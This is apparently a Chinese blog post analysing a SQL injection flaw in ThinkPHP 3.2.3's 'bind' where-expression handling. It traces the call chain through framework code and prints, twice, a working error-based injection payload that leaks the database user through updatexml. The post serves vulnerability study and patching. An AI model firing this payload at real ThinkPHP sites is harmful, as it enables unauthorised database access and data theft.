Thinkphp3.x SQL注入
漏洞成因分析
分析漏洞成因,其实更多是发掘框架漏洞发生的规律。Thinkphp使用PDO进行sql查询,本不应该出现sql注入。由于对传入数据未正确过滤,sql语句解析方法编写不当造成注入。
环境配置
控制器初始化语句
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
$condition['username']=I('username');
$data['pass']='123456';
$res=M('user')->where($condition)->save($data);
}
}
执行该payload调用栈如下,分析这三个函数即可。其他只是配置加载、框架类加载、钩子调用等等并不关注。
漏洞分析
Payload:http://127.0.0.1/tp/tp3.2.3/index.php?username[0]=bind&username[1]=0%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)
Thinkphp框架使用I方法接收外部数据,并进行过滤,当未配置过滤方法C方法调用默认为htmlspecialchars
方法,很显然html实体化对内部sql语句并不会造成影响。如下代码filter
通过C方法调用设置为htmlspecialchars
,再通过call_user_func
回调,对传入的username
字段进行过滤。
/thinkphp/API/functions.php
在经过I方法中框架过滤think_filter()
function think_filter(&$value){
// TODO 其他安全过滤
// 过滤查询特殊字符
if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
$value .= ' ';
}
根据调用栈,跟进save()方法。查看函数返回值result,跟进update()方法(也可以看调用栈)。
public function update($data,$options) {
$this->model = $options['model'];
$this->parseBind(!empty($options['bind'])?$options['bind']:array());
$table = $this->parseTable($options['table']);
$sql = 'UPDATE ' . $table . $this->parseSet($data);
if(strpos($table,',')){// 多表更新支持JOIN操作
$sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
}
$sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
if(!strpos($table,',')){
// 单表更新支持order和lmit
$sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'')
.$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
}
$sql .= $this->parseComment(!empty($options['comment'])?$options['comment']:'');
return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
}
观察语句,注入点发生在where后,跟进parseWhere
方法,查找$whereStr
拼接地方。
跟进parseWhereItem
方法.当val为数组时,将索引为0赋值给$exp,追踪exp判断语句。当$exp值为’bind’时。将val[1]与:
拼接构造执行PDO语句的占位符。只要赋值0
即可实现sql查询语句注入。
elseif('bind' == $exp ){ // 使用表达式
$whereStr .= $key.' = :'.$val[1];
漏洞复现
payload: http://127.0.0.1/tp/tp3.2.3/?username[0]=bind&username[1]=0%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!